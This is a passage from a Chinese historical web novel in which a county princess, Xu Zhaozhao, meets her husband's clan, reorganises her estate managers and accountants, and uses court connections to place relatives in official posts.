在牢狱中走一遭,许昭昭也算是见识到了古代的牢狱,就这种地方,想要越狱,那简直就是做梦呢! 王若兰征得对方的意愿之后,就开始命人在乡村为他们寻一处落脚点。 王若兰名下的庄子上自然是最合适的。 毕竟是犯人家眷,再加上这年头很多乡下人也是欺生的。 落难的权贵家眷,以后就算是有了落脚地,光是调整心态,估计就得花费些时日。 晚上,许昭昭将母亲和小林氏二人对待故交的不同方法和态度都说了,等着谢铮给出一些意见。 “按你这说法,其实岳母的做法更为可取。四婶婶救下的两位姑娘,虽是奴籍,也可以暂且打发到庄子上去谋生。左右那里没有正经主子,给足她们银钱米粮,总能自己过日子的。” 许昭昭深以为然:“说到底,不是咱们的事,咱们也不便插手。而且经过上次之事,我与四婶婶之间也明显有了隔阂,一切随她吧。” 谢铮将她抱住,心知许昭昭能主动跟他提这件事,应该也是不想让家中生出是非来。 只是四婶婶那性子,怕也是听不进去的。 “这次还是多亏了你,若不然,我四婶婶的娘家必然要出事,届时若他们求上门来,你说我四叔当如何处置?” 这种事,本来就很难办。 好在林家没出事,小林氏还能在府里过安生日子,若不然,这国公府也得跟着热闹起来。 赏花宴的事,谢铮也知道了,得知她只是宴请女眷,心里就欢喜不少。 从私心考虑,他是不愿意让昭昭与太多的外男接触的。 这么好的昭昭,就得是他一个人的才好。 但是他也知道许昭昭的本事,也不可能真地将其困于内院。 好在许昭昭自己很有分寸,外头的事,基本上都是交给了几个管事去办,平时与她接触的也左不过那么几个人,倒是能让他安心不少。 庆王谋反一案,立功的不在少数。 但是陛下的心情明显不佳,一直到处决了那么多的官员乡绅后,仍然没提赏赐一事,可见是心里头对这件事还是很抵触的。 当然,庆王只是被幽禁,很多大臣们都不满,觉得此等重罪,当处死才能震慑住那些有不臣之心的人。 但是旨意迟迟未下,朝堂上亦是吵得一锅粥。 事情总是要解决的,就算他是帝王,也不能一直逃避。 最终,在陆晋、曲世绩等人的再三劝说之下,永安帝还是下旨,贬庆王为庶人,然后将其及家眷,全部被发配至看守皇陵。 至于先前事情中,所有有功者,皆获赏银或者是升官。 至此,这件案子才算是真正地告一段落。 庆王离京后,京城又恢复了往日的热闹太平,护国公府的赏花宴,也终于开始了。 因为只宴请谢家的族亲,所以,贴子并没有往外发。 但是乐阳郡主也不知道从何处听到了消息,也想要凑热闹,被许昭昭命人送过去一盆芍药而打住了。 “昭昭,我带你去见见族里的几位长辈,你也不用紧张,都很好说话。” “是,多谢二婶婶。” 今日的宴会就设在了锦绣园,所以谢老夫人也被邀请过来,如今正和几位平辈的老太太们一起听曲。 许昭昭挨个见礼之后,又被谢芸给带走去认识平辈的嫂嫂、姐姐、弟妹、妹妹们。 许昭昭真心觉得嫁给谢铮实在不是一个明智的选择。 因为谢铮将会是下一任的护国公,这就意味着谢铮会是日后谢氏家族中地位最高的一位。 有地位,有权势,身上担的责任自然就会多一些。 所以,许昭昭日后的麻烦事应该是少不了了。 哪家有难处了,或者是谁家的姑娘被欺负了,寻到府里来,许昭昭能说不管吗? 现在还好,有于氏和小林氏在前面顶着,许昭昭还能躲一躲懒,但是这国公府,早晚都得是由许昭昭来掌家的。 所以,许昭昭现在看着屋里这一张张脸,只觉得无比头疼。 “呀,这株是什么花?真好看!” “是山茶花吧?不过我没见过这个品种,瞧着就新奇,也不知道三郎媳妇是怎么培育出来的。” 许昭昭闻声看过去,是一位年轻的妇人。 谢芸解释道:“那位是族长家的孙媳,若无意外,日后她公爹便是谢氏的族长。” 许昭昭点头,难怪这人说话有几分傲然的口气,既然是族长家的孙媳,那也是有些底气的。 谢芸又提醒道:“这位嫂嫂可不是个好相与的,性子掐尖儿要强,听闻她在家中就时常与几个妯娌争执,生了一张利嘴,偏她的娘家比其它几位嫂嫂要更强势一些,所以她在婆家一直都是相当有话语权的。” 第307章 总账房 谢芸刚刚指给她的便是族长家的孙媳庞氏,是出了名的刁蛮任性。 庞氏出身还不错,家中祖父和父亲都是官员,虽说官职不高,但是比起自己的公爹来说已经算是好的了。 而且庞氏是家中独女,只有兄弟,所以庞氏自小在娘家便得宠,属于要星星不给月亮的那种。 后来嫁入谢家,与平辈的几个妯娌之间的关系也并不好,主要是因为她自视甚高。 事实上,她的出身也的确是几个妯娌里面最好的,毕竟官宦家庭出来的,比起那些乡绅、商户而言,简直就是高了一大截。 许昭昭只是看过她一眼之后,便不再关注,倒是一位相貌清秀,但是举止很是大方得体的妇人引得她注意。 谢芸又帮着介绍:“那位便是庞氏的大嫂周氏了,是族长家的长孙媳,若是不出意外,日后她的夫君便是谢家嫡系的族长。” 许昭昭点头,古代很重宗祠宗亲,所以族长的权利和威望还是很大的。 就连皇家也是一样。 哪怕永安帝是皇帝,但他有些皇亲间的事,也要听从宗正的意见,不可擅专,否则,就会引起整个皇族的不满。 许昭昭让谢芸多说一些关于周氏的事,因为她瞧着这人就合眼缘。 周氏的眼神很正,很清澈,眼底里没有那么多的精明算计,身为宗妇,她这种形象倒是很合格的。 “周氏的父亲是一名秀才,祖父曾为官,但是官职也不高,如今她的祖父早已退出朝堂,但是听闻她的一位兄长还不错,由人举荐入仕,如今在云阳县任县丞。周氏的夫君谢林也是秀才出身,如今在族学做先生。” 云阳县? 许昭昭的眼神里多了几分玩味。 那不正是贾氏的祖居之地嘛。 如今孙茜拿了和离书回来,云阳县的贾氏一族也尽数被抓,听闻贾家的几位主子都已被判了斩刑,余下的那些,就算是不死,只怕这一生也回不了云阳了。 周县丞? 许昭昭觉得若是有机会,还是要会一会此人。 不过不急,慢慢来。 庞氏的确是一个擅长应酬的,看着她如同一只漂亮的花蝴蝶一般在人群中穿梭,一会儿引得老夫人那边的长辈们哈哈大笑,一会儿又去逗趣几位平辈的姑娘们,可见是个八面玲珑的妙人。 这种人,唯一的缺点,可能就是太过强势,或者是太过精明了。 许昭昭没打算做什么,只是单纯地与这些族亲们见个面,认认脸,省得日后见面不识,惹人笑话。 许昭昭与庞氏和周氏也都先后打过招呼,这位庞氏虽然行事跋扈一些,但还是知道尊卑的,至少在许昭昭面前,她不敢猖狂。 庞氏的娘家便是她行事的底气。 所以许昭昭吩咐丁香去查查庞家,若是能用,那自然没必要浪费,若是不能用,那也得早些剔除掉一些祸患。 一场宴会之后,许昭昭也是有几分疲累。 光是与人打招呼,认清人这一点,就足够让她头疼的了。 “禀主子,外面的几位管事都来了,您看在何处见他们?” “就在前面的亭子里吧,上面不是都挂了竹帘?” “回主子,亭子里已经悬挂了竹帘,但还是有些寒气,不若去前厅?” “也好,那就去前厅见他们。” 这次来的管事基本上齐全了。 柱子、徐得贵、张娘子、魏娘子、严树、高大魁等人都在这里了。 许昭昭听他们挨个报了自己管辖内的情况,又让他们说一说来年的打算。 柱子如今也就只是在许昭昭这里才能被唤一声柱子,在外头,那可是鼎鼎大名的许管事,哪一个敢小瞧他? 就连许柱子的姐姐如今都因为他的关系过上了好日子,可见这柱子现在的本事有多大。 “蓝田县那里,还是要严叔多费心。另外,既然是我的封地,那些壮丁平日里不劳作时,也要训练起来,不可只知道埋头种地。” “是,县主。” “高叔,长生和守信这二人如今也都有长进,我便想着来年就留他们二人暂且在蓝田县做事,你以为如何?” “一切听凭主子吩咐。” “那就好。徐得贵,你还是看好百果园,眼瞅着天气冷了,定要提前将各类的物资都备好,另外,也要注意多安排人手巡逻,不可懈怠。” “是,主子。” 许昭昭叫他们过来,本意其实也就是让他们好好做事,虽然她嫁人了,但是那些产业也仍然还是她的,不会受到谢家的管制和侵蚀,如此,也是为了安底下人的心。 果然,知道一切都没有变动,几位管事明显松了一口气。 就怕再因为主子出嫁了,再有婆家的人过来插一手。 这种事,无论是在高门大族,还是在一些市井小民之中,都是屡见不鲜的。 比如当初许琳嫁入孙府时,不就遭遇了这么一出? 后来还是许翰施压,再加上孙庆阳自己也识相,所以才主动退出来。 世间对于女子,还是有几分偏见的。 “今年我大婚,也算是喜事一桩,所以今年的年底,所有管事们都多赏十贯钱、两匹布,外加一包桂花红茶。” “谢主子。” 许昭昭表情平静:“高叔,你也都记下,今年所有为我做事的人,无论男女老幼,皆每人赏一贯钱。至于你们手底下的一些小管事、每人多赏两贯钱、一匹布。” “谢主子赏!” 许昭昭又吩咐几句之后,便让他们下去,后面还有各处的账房先生们等着她见呢。 许川现在已然是这些账房先生们的头头了,用许昭昭的话说,就是首席财务官了。 许昭昭早就有意将各处的管事、掌柜与账房先生分开管理。 这么做的主要目的之一,便是防止有些人弄虚作假、中饱私囊。 今年已经开始做了这方面的准备,所以,从明年开始,她就打算让许川正式成为总账房先生。 许昭昭选用许川,一是因为她是族亲,二来也是因为许川好歹是读过书的,且又是深知在高门中一旦下人背主,将会面临什么。 所以,在许昭昭看来,许川就是最合适的人选。 总账房先生,那可是有权利去查所有产业的账目的。 第308章 婚配 许昭昭对于下面的人还是很宽容的,所以每回到了年节时,她给的赏也都十分丰厚,所以下面的人也都知道,跟着主子做事,不愁吃喝,一家子的生计便能得到保障。 但这还不够。 许昭昭不仅要下人知道她宽容,也得知道她是一个赏罚分明的主子。 许川和各大小产业的账房先生们都来了,竟然有三十余人。 可见,许昭昭名下的产业之多。 其实,也是这年头算帐不容易,若是搁到后世,兴许一两个人就把这点儿事给办了。 这就是效率低下。 没办法。 许昭昭总不能弄个计算器出来。 先不说她有没有这个本事,只说那些材料,她也做不出来呀。 但是推行一下新的记账方式,还是可以的。 许昭昭此前早已经将这个法子告诉许川,也让他改了几回之后,终于做出了正常的表格。 但是对于数字这一方面,许昭昭暂时没有办法。 而且账目上可以用一、二、三这样的简字,但是也必须有大写的壹、贰、参这样的字才行,否则,真容易被人搞鬼。 至于阿拉伯数字? 呵呵,那就不要想了。 若许昭昭生在帝王家,兴许可以推广一二,可她如今只是一名臣子的家眷,还是不要瞎搞事,省得再被上位者惦记吧。 能弄个横竖表格出来就已经很惹眼了! 许昭昭觉得自己还是要学着低调,她让出来的利益已经不少了,不能再总让上位者盯着她。 这一次,许昭昭直接表明了态度,而且是正儿八经地提出来,以后许川便是她名下所有产业的总账房。 许川虽然早知道许昭昭的安排,但是现在被这么一下子点出来,还是有几分忐忑,就怕底下人再不服气。 “除了许川兄长之外,我还会再安排几个人,到时候便单独有一处财务室,届时以许川为首,我会从你们中间再选出二人为他的副手,另外我还会再从一些有潜力的新人中选出两位,总共五人。届时,你们的主要职责,便是保证账目的清晰、准确。” 许川听明白了,但是有人不明白。 许川觉得还是有必要的,毕竟许昭昭现在的产业多,而且照这个趋势发展下去,她手里的产业还会越来越多。 许昭昭不可能亲力亲为,但是也不能偏听偏信。 所以,专门由几个人来负责查帐,这就很有必要了。 这一次,许昭昭明确了许川的地位,其实就等于是以后的各大小管事们,见到许川都得恭敬地称呼一声许先生了。 许昭昭安排好这些后,便将柱子留下来了。 柱子不明所以,只以为是主子还有另行的任务要交代,所以一直很规矩地站着。 “你近前两步。” 许柱听话得上前两步,一步都不敢多迈。 “听说你心仪我身边的丁香?” 许柱一听,心跳得飞快,几乎是来不及想,扑通一声就跪下了。 “主子开恩!小的的确是对丁香姐心生倾慕,还请主子成全。” 一旁站着的芍药都忍不住笑了,但是没敢出声。 “嗯,你倾慕丁香,我便要成全吗?你怎知丁香是否愿意嫁你?” 许柱子愣住,随即又是一拜:“主子,小的与丁香姐两情相悦,还请主子能给指个婚,小的感激不尽。” “哦?你的意思是,我若是不让丁香嫁你,你便要对我怀恨在心,不再愿意忠心为我做事了?” 许柱子吓得脸色惨白,冷汗顺着额头就下来了。 “小的不敢,还请主子明鉴。小的只是想娶丁香,不敢冒犯主子。” 许昭昭看他被吓得不轻,也不再逗他。 “起来吧。” 许柱子一时间不敢动,小心翼翼地抬头,见一旁的芍药给他使眼色,这才颤颤微微地起来了。 “丁香现在还不能嫁给你。” 许柱子心头一慌,但也不敢质疑主子。 “丁香是我身边最得力的大丫环,又是自幼与我一起长大,我待她自是不同。你虽有些本事,但也只是一个管事。我若是有心助她,便是将她许给一个秀才郎也未偿不可。” 许柱子这下是真慌了,也顾不得什么主仆尊卑了,直接就跪在地上开始求情。 “县主娘娘、主子,小的真的喜欢丁香姐,您不能这样啊,您,要不您问问丁香姐的意思?” 许昭昭乐了:“我问她的意思,她若是愿意嫁给一位秀才郎,日后再想法子给郎君谋个官身,那岂不就是官夫人了?” 许柱子完全懵了。 还能这样? 那自己就算是有天大的本事,也比不过官夫人更有吸引力呀。 许柱子觉得眼前有些晃,脑子也不够用了。 许昭昭看他这个样子,便知道他是真舍不得丁香。 “行了,你先回去吧,年前把所有的差事都办得漂漂亮亮的,若是能让我满意,你和丁香的事,也不是不行。” 许柱子眼睛唰一下子就亮了。 “小的一定尽心办事,请主子放心,小的一定让您满意。” “嗯,下去吧。” 许昭昭这才看向芍药:“这么好笑?” 芍药也是自小陪在小姐身边长大的,自然没有那么怕她,反而俏皮道:“奴婢只是看柱子那个反应觉得有趣。您没瞧见,一说要将丁香姐许给一位秀才郎,那柱子的脸都白了,眼睛都直了,好像跟个傻子一样了。” 许昭昭也跟着笑起来:“这说明他是真心把丁香当成自己的未来娘子看了。也罢,既然他二人互有情愫,我自然也不能做那棒打鸳鸯之人。” 芍药捂嘴偷笑:“主子,那您刚刚是故意逗他呢?” 许昭昭没好气地瞪她一眼:“一会儿去你丁香姐那里邀功去吧。” 芍药笑嘻嘻地近前扶着她往外走:“奴婢可不是那等嘴快之人。” “但你就想看热闹!” “嘿嘿,主子,那是不是明年丁香姐就要嫁人了?” “嗯,应该吧。还得问问丁香的意思。你呢?可有意中人了?” “奴婢可没有那个心思,奴婢就想一辈子都守在主子身边,嫁人有什么好的?还得时时处处看那些男人的脸色,实在没意思!” 第309章 百味轩 许昭昭逗了她几句,便不再开玩笑,正事还是要办的。 百果园在京城内是有一处专门接待客户的地方的,被许昭昭取名叫百味轩。 这里不仅可以招待百果园的客户,而且后面还是私房菜馆,在这里是先交一年的钱,才有资格在这里吃饭。 先交三年的钱,则是有资格指定雅间,并且享受一些更为尊贵的待遇。 这一年的钱,可不便宜。 所以,除了顶级的权贵圈子,外人压根儿就不知道这百味轩到底是干嘛的。 只是偶尔能看到有一些商户、管事出入,也只以为是来这里喝茶议事的。 许昭昭身为百味轩的幕后主子,自然是有资格在这里品茶吃饭的。 刘起也没想到,自己会被安乐县主请过来。 要说他和安乐县主之间有什么矛盾,那他能想起来,可要说有什么情份,那是真没有。 “见过县主。” 许昭昭浅笑:“刘县令不必多礼,请坐吧。” “谢过县主。” 许昭昭身侧站着丁香和紫苏,麦冬则是站在门外,与他一起守门的,还有刘起的随从。 “听闻刘县令如今身边缺个人手?” “县主消息灵通。” “倒也不算是灵通,只是正巧有位亲戚符合刘县令的选人标准罢了。” 刘起觉得憋屈,他和许昭昭之间不能说有仇,但也绝对不是能坐下来一起好好喝茶的关系。 “县主,朝堂用人之事,当由吏部做主。” 许昭昭笑了:“如此说来,长安县衙里,刘大人竟是做不得半点主?若是如此,不如我去问问?” 刘起一时间噎住,对这位安乐县主,他可是不敢小看。 但是想到他和肃国公府的关系,再想想这位县主的立场,他是真不敢招惹,也不敢合作呀。 “刘县令,你是肃国公的族亲,但你如今年纪也不小了,一个小小的县令,便能满足了?” 这话已经有几分拉拢的意思了。 刘起闷不作声,不是他不想说话,是真地没想到县主请他过来,竟然是说这些。 他一点儿心理准备也没有,该怎么回话? “刘县令,我不急。毕竟于我而言,只是一位亲戚,你这里若是容不下,我自然可以将其安置到万年县。只是,我一直仰慕刘大人的才华,所以才想着若有机会可以举荐一二。可若是刘大人志不在朝堂,倒是我多管闲事了。” 这话怎么答? 刘起抬眼看她,那表情,就像是受到了多大委屈一般。 沉默片刻之后,刘起才道:“先前之事,是县主出手的?” 许昭昭挑眉:“重要吗?” 没头没尾的,但二人都知道对方说是哪件事,又是什么意思。 刘起突然叹息一声:“想不到许侯爷粗人一个,竟然会有县主这般慧质兰心的女儿,先前是我想岔了,总以为会是三公子。万万没想到,县主才是隐藏最深的那一位。” “刘县令何必给我戴高帽子呢?刘县令大才,日后问鼎相位,也不无可能呀。” 这是实话。 许昭昭是真心觉得刘起是个有本事的。 能查案,而且头脑能时时刻刻保持清醒,哪怕是被肃国公府利用,他也知道要为自己留条后路。 这种人,活该就得混官场。 付沛那样的人,是纯纯靠才华,靠着一身的胆气和为民的心思。 而刘起这种,那就是有着超高的情商,深谙为官之道,这种人若是日后不上高位,都天理不公! 唯一可惜的是,刘起虽与肃国公府是族亲,但是家世上差了些,能入肃国公的眼,还是因为觉得刘起年轻且因家贫而需要扶持,这是想着拿两个肉包子,就哄着刘起为肃国公府卖命了。 这事,肃国公办得可不地道。 “我知肃国公府与忠王府的关系,但刘县令却未必知晓呢。” 刘起皱眉,觉得许昭昭这话就过了。 他怎么可能会不知道呢? 但是对上许昭昭似笑非笑的眼神,刘起心底一突,总觉得这位知道的秘密比他还多。 “肃国公与忠王府之间的牵绊太深,可不仅仅只是解决了一个姜芙就能万事大吉的。眼下肃国公想要脚踏两条船,也得看那船让不让他踏,船身又是否已经漏了洞呀。” 刘起这回听明白了。 肃国公这是担心忠王府那头靠不住,所以想要再寻一个皇子来暗中扶持。 可这种事,他也只是仅凭着自己官场上的敏锐度,以及打探到的一些消息猜出来的,那许昭昭又是如何知道的? 这么几息的功夫间,刘起觉得自己手心都在冒汗,起初不觉得,现在才知道,这位县主的本事到底有多大! “还请县主明示。” “先说说,我的事,能不能办?” “能办。” 这一次,刘起没有任何犹豫,直接就点头应了。 “很好。我也不为难你。” 许昭昭话落,将一个信封拿出来放到桌上,抬手往他的方向推了推。 “你现在的县丞手脚不干净,而且做得有些过了。如何处置,是你的事。但是这个位置,我希望是留给周时谦。” “好。不知县主可还有其它要求?” “越快越好。” “下官明白。” 许昭昭满意地点点头:“我与你之间的交易,出了这个门,我不会认,你也不能认。若有事,只管来此寻管事留口信便是。刘县令,我许昭昭承诺你,只要你不曾犯下卖国谋逆的大罪,我定可保你无事。” 若是换个人说这种话,刘起只会觉得对方在吹牛。 可许昭昭说出这番话,他竟真有几分信。 实在是之前和侯府交手时,他真切领教了这位的本事。 若今日许昭昭未曾说破,他恐怕一辈子都猜不到当初自己的对手,竟是这么一位小娘子。 “多谢县主,下官一定尽力做事。” “长安县令这个位置,暂时不能动,但是,明年春天,我会送你一份大礼。我也是希望刘县令能明白,我许昭昭从来就不是小气之人。” “那下官拭目以待。” 许昭昭笑着走了,刘起走出百味轩的大门时,头上的冷汗才被风吹干。 第310章 另类的立威 刘起回头看了一眼百味轩的牌匾,再想想今日的一番对话,微微摇头,自言自语道:“年纪不大,口气不小!” 刘起是骑马来的,大兴朝无论文武官员,大部分都喜欢骑马出行,当然,若是年纪稍大些的,可能会倾向于坐马车或者是牛车。 刘起因家贫,所以曾受过肃国公府的一些恩惠,再者又因为是亲族关系,所以刘起对肃国公一直都很尊敬。 但是,刘起不傻,他知道肃国公这是拿他当棋子使唤呢。 可是没办法,他没有别的依仗,哪怕明知道自己是个马前卒,也得硬着头皮上。 以前不懂,只以为自己同那些没有关系可以攀附的同窗相比,已经算是好的了。 可是真正牵扯其中之后,才会知道这里面的水有多深,事情有多险。 刘起回到县衙后院,这里是他的家眷居住之所。 长安县衙的后院其实算不得多好,但毫不夸张的说,这是刘起住过的最好的宅子了。 他一个差点儿住漏雨房子的穷书生,能有机会住在官衙中,已然是觉得走了大运。 刘起一回来,正好看到桌上已摆好饭菜,自己的老娘和妻子都在等他回来。 刘起有些好奇,今晚的菜色颇丰呀。 “怎么舍得买这么多的肉了?” 自打许君霆把猪养好,而且这猪肉也去除了膻味儿之后,猪肉的价格竟然也起来了,但是寻常的权贵之家,还是不屑于吃猪肉,一般都是以牛羊肉为主。 今日的饭桌上,就摆着一个热锅子,一闻,便知道是羊肉。 “这可不是买的。” 刘起刚要动筷,听闻不是买的,当下就有些警惕:“何人送来的?” “是百果园,不仅给咱们这里送了,也给万年县那里送了些。” 刘起想明白其中关窍,便不再多言。 家人们见他动筷,自然也喜不自胜地开始吃饭。 刘起的俸禄不低,勉强可养家。 但要说过得多好,那自然也是不可能的。 而且刘起此人不重物欲,能吃饱穿暖,足矣。 所以,许昭昭没有给他大量的银钱,只是命人送来了些米粮肉菜,这算不得行贿,但又刚刚好是刘起可以接受,其家人又万般欢喜的东西。 周氏和兄长周时谦二人碰面,一时间有些紧张。 “兄长可知县主为何寻你我说话?” 周时谦摇头,他是云阳县县丞,而据他所知,安乐县主在云阳县并无产业,实在不清楚叫他过来会有何事吩咐。 与周氏一起来的,还有她的夫君谢林。 三人入府后,便被请入了锦绣园。 谢铮并不在府中,今日正好是他当值。 “三位请稍坐,世子夫人正在与几位管事说话,稍后便到。” “有劳姑娘。” 丫环态度很恭敬,上了茶点后便退下。 三人在屋内坐了一会儿,只觉得身体发热,再一瞧,才注意到不远处的一个壁炉。 也是托上回宴会的福,才让周氏知道了壁炉这等好东西。 三人将最外面的斗篷解下,有丫环出来将衣服帮着收好,更让三人觉得不自在了。 很快,许昭昭过来了。 “给县主请安。” 许昭昭叫了声免礼,然后才坐上主位。 “你便是云阳县丞周时谦?” 周时谦连忙起身行礼:“下官正是。” “嗯,坐下回话即可。” “谢县主。” “你的相关履历,我已知晓,你在云阳县县丞的位子上已是三年有余,可有动一动的想法?” 周时谦蹭地一下子再度站了起来:“还请县主吩咐,下官定当全力以赴。” 许昭昭微微抬手:“不必如此,你既是嫂子的兄长,也便是我谢氏的亲戚。云阳县县令一职,你就不要再想了。此事吏部早已有了安排。先前你那位县尊大人为你画大的大饼,不过是为了哄你做事罢了。” 周时谦一时间脸面微变,他没想到,县主竟然连这个都知道。 一旁的谢林和周氏二人相视一眼,显然也颇为震惊。 县主竟然这般厉害? “不怕县主笑话,其实,下官也已经察觉到了。若是家父还在朝堂为官,兴许还能运作一二。只是可惜,人走茶凉。” 许昭昭看着周时谦一脸的无奈,却是冷笑一声:“何来人走茶凉?你父亲为官多年,却并未留下多少人脉。不仅如此,反而还竖敌颇多。若非如此,你如今兴许也不仅仅只是一个县丞了。” 周氏脸色一白,这是挑拨? 周时谦却是低头不语,其实县主所说,他先前也有所察觉,只是再怎么样,那也是他的父亲,即便是因此而受到官场的打压,他也只能将苦果默默咽下,否则还能如何? 子不言父过! 周氏一看兄长这反应,便知道县主并非挑拨,而是事实。 “周时谦,我可许你长安县县丞一职,若你能做得好,三年后,可直接晋升长安县令,你可愿意听从我的安排?” 这话说得太直接了。 周时谦一时间没能反应得过来。 还是谢林轻唤了两声:“大舅兄,大舅兄!” 周时谦这才回神,然后起身冲着许昭昭深深一揖:“愿为县主效犬马之劳!” 云阳县丞和长安县丞那可是大不一样! 虽然都是县丞,但一个是在京外,一个是在天子脚下,而且,长安县可是大县,更是京县。 长安县县丞,那是从七品上;而云阳县县丞,才是一个正八品上。 这中间可是差着三级呢! 表面看似都是县丞,实际上,那是妥妥的升官呀。 而且,在京县做事,天子脚下,权贵众多,这也是能结交权贵,为自己前程铺路的大好机会呀! 周时谦的声音都有些抖,甚至于行礼时,那手指头都在跟着哆嗦。 不怪他如此激动,实在是这是他之前想都不敢想的呀! 因为云阳县令,也才只是一个从七品上的官职,如此一来,他就等于是和以前的上官平级了。 许昭昭对于他的态度很满意。 虽是她第一次见周时谦,但是相关履历资料,她早就看过了。 关键是,这人还是谢家的姻亲,所以适当的扶持一把,正好可以让她用来给自己立威! 第311章 四门助教 周时谦和谢林都没有想到,他们竟然会有一天如此地惊叹于一女子的能耐。 这也太离谱了。 说完了周时谦的事,接下来便是谢琳和周氏。 “族长年事已高,听闻有意于年后将族长之位传于伯父,不知此事是否属实?” 谢林连忙点头:“祖父确有此意。” 许昭昭也微微点头:“如此也好。今日请兄嫂过来,也是有一事需要你们回去后代为转告,看看此事是由现任族长来管,还是下一任族长来管较为合适。” “还请县主明示。” “我的封号是安乐,但是又有封地在蓝田县,想必你们也是知道的。等来年开春之后,我会在云栖山庄附近大兴土木。届时,会有一些铺面、宅院建成。这是我的私产,非谢氏产业。” 谢林连忙表态:“是是是,我们都知道的。” 许昭昭见他识趣,便微微点头:“届时会有一部分出售,同时,我自己也会安排人手经营一部分。我嫁过来时日尚短,并不清楚谢氏亲族中是否有日子艰难困苦者。若是有,还请族长代为选出一些老实本分之人,我会给他们安排一份差事,足以养家。若是没有,那我便会着手另行安排。” “有有有的!” 谢林就怕许昭昭再自己安排,连忙急呼:“县主放心,我会让祖父和父亲一起商量着拟定出一份名单的,只是不知县主要多少人?” “多多少少无所谓,几人可、几十人亦可。我只有一个条件,要为人老实本分的,若是那等偷懒耍滑之人,还是莫要送来,免得再伤了咱们的和气。” “不会不会,县主放心,此事我定会办妥。” 这眨眼的功夫,就成谢林给办妥了。 许昭昭轻笑:“兄长不必如此拘谨,唤我弟妹即可。” 谢林脸一红,哪敢呀! 他就是一普通老百姓,撑死了有一个秀才的名头,哪里敢唤二品县主为弟妹呀! 那脸得多大呀! “不知族兄如今居于何处?” 谢林连忙将自己的住处说了,他们一家子现在是分开住的,但是宅子都建在一起,挨着呢。 “如此说来,倒是住得不算远。不知族兄对于未来有何打算?” 谢林苦笑一声:“我读书不成,勉强能考个秀才功名便已是极限了。而且祖父说我脑子愚钝,性子过于刚直,并不适合官场,故而也一直未曾为我谋划前程。” 许昭昭点头,这位族长还真是有先见之明。 这个谢林,的确是不适合于官场。 当然,更不适合于经商! 这两条路都走不通,那就只剩下一条路了。 “谢氏族学近来如何?” 谢林闻言只是微微点头:“族学内尚可,不怕县主笑话,我如今就在族学里给孩童开蒙。” 许昭昭自然是知道这一点的,顺口提及,也不过就是想着看看这位族兄的心态如何。 眼下看来,倒是很稳。 哪怕明知道自己前程无望,也并未多沮丧或者是过于自卑,这就很好。 “族兄是位心清眼明的。教书先生也好,一身清名,而且日后兴许还可桃李遍天下。” “县主取笑我了,不过是一个负责开蒙的夫子而已,谁人会记得我?况且,都是家族中的一些子弟,谈不上什么名声。” 许昭昭笑看向他:“我这里倒是有一个做四门助教的机会,只是不知族兄是否有意?” 四门助教,官名,主要就是协助四门博士教授四门学生,一般设员二十人。 这等的差事,一般不会太难弄到手,当然,这是针对于权贵之家而言。 而像是谢林这等从来不曾在权贵圈子里打转的人来说,就是一种奢望了。 谢林都呆住了。 一旁的周氏也懵圈了。 什么情况? 四门助教? 周氏不懂官场,更不知道这官职到底是干嘛的。 还是一旁的周时谦反应迅速,立马咳嗽一声,提醒道:“妹夫,还不快谢过县主。” 谢林此时也终于回过神来,起身便哆嗦着向着许昭昭行一大礼。 “族兄不必如此,快快请坐。” 谢林的嘴唇动了几下,都没能弄明白该说什么。 还是周氏一脸迷茫,看样子,这四门助教是个好差事? 许昭昭笑道:“按说这四门助教也不算是个什么好差事,不过是从八品上的职位。只是族兄资历尚浅,而且族兄性情耿直,这国子监是清水衙门,而且大多学子也都涉世未深,所以这里的差事,倒是正适合族兄先历练一二。待日后若是得了贵人眼缘,再往上走,也未偿不可。” 这话说得其实已经很直白了。 谢林的性子不够圆滑,所以家中长辈不愿意让其涉足官场,就是怕他再得罪人而不自知,从而给家族招来祸患。 但是经商,呵呵,谢林好歹也是未来族长的人选,怎么可能去自降身价做这种事? 所以,这才给他安排了族学的先生身份。 有一个清名,而且也能勉强有份进项,可糊口度日。 但是许昭昭可不这么想。 性子耿直者能在官场混得开的可大有人在! 关键是你从事什么职位,与你打交道的又都是什么人。 说白了,还是谢林家中的长辈胆子小了些,且护国公府这边的人脉大多在武将中,于文官一途上实在帮不上什么忙,且族长估计也不愿意去开这个口,所以,才会如此安排。 但许昭昭嫁过来了,自然就不一样了。 许昭昭当然不会是平白无故就此安排,她可不是圣母,一心付出,不求回报。 她要做的事,现在看不出来,日后总会有好消息的。 至此,周氏也才知道,夫君这是可以做官了? 任何时候,任何人都会觉得还是做官最有前途,这身份地位也截然不同。 哪怕是周氏这样的清正人物,也同样不能免俗。 “谢过县主提携,我定当好生办差。” 许昭昭又笑了,这个谢林不仅直,还有些呆。 “族兄这话不对。你入国子监担任四门助教,可不仅仅只是办差,你要多学多听多看,在这里,接触的皆为权贵,少有的寒门学子,也必然是有大才或是与某些权贵有亲朋关系才能入内。” 周时谦点头,意味深长道:“妹夫,县主的安排无可挑剔呀!” 第312章 要给我赐婚了 就这样,谢林自己迷迷糊糊地就要进国子监做事了? 许昭昭自然不会无的放矢。 她如今是护国公府的世子夫人,虽然谢啸林这一脉并非是谢氏的主支,但终归是有宗族的。 所以,偶尔还是要护一护,给些好处。 如此一来,许昭昭只是轻飘飘几句话,便能让族人们清醒地意识到,这位世子夫人是何等的本事。 就连谢林的舅兄都能得到许昭昭的提拔,所以那些想要得到好处,或者是得到提携的谢氏族人们,就更是将许昭昭视为金大腿了。 许昭昭不怕他们来巴结自己,立威嘛,杀人能立威,许诺好处,同样可以立威。 之后,进入腊月,谢氏也要到城内外施粥的,这是多年来的惯例。 城中诸多权贵们都会如此。 一是彰显自己的仁善,二来也是为了能在圣上那里讨个好官声。 今年的谢氏施粥,城内,便交由周氏来安排,而城外,则是于氏负责。 许昭昭自然不会露面,这种收买人心的事,她只需要动动嘴皮子即可,没必要大冬天地去折腾自己。 不需要她多话,外面自然就有人各种宣传,比如说安信侯府今年布粥多少,护国公府今年的粥又香又浓,百果园同样也施粥,甚至每天还会放外放一些有瑕疵的厚棉布,但是需要凭户籍来领。 许昭昭自己十分悠闲地在月华楼内看着一本杂记,是近来在京中比较流行的那等写男女情爱的闲书,得了不少女眷们的追捧,许昭昭正好拿来打发时间。 丁香端了点心进来:“主子是要在二楼用茶点,还是去楼下?” “就在这里吧。挪到那边的矮榻上,这屋里颜色好,取那一套纯白的茶具过来。” “是,主子。” 许昭昭挪到了榻上,芍药帮着弄了两个大迎枕以便让主子能坐得更舒服一些。 丁香将茶具取来,之后又将香炉等物什一一摆好。 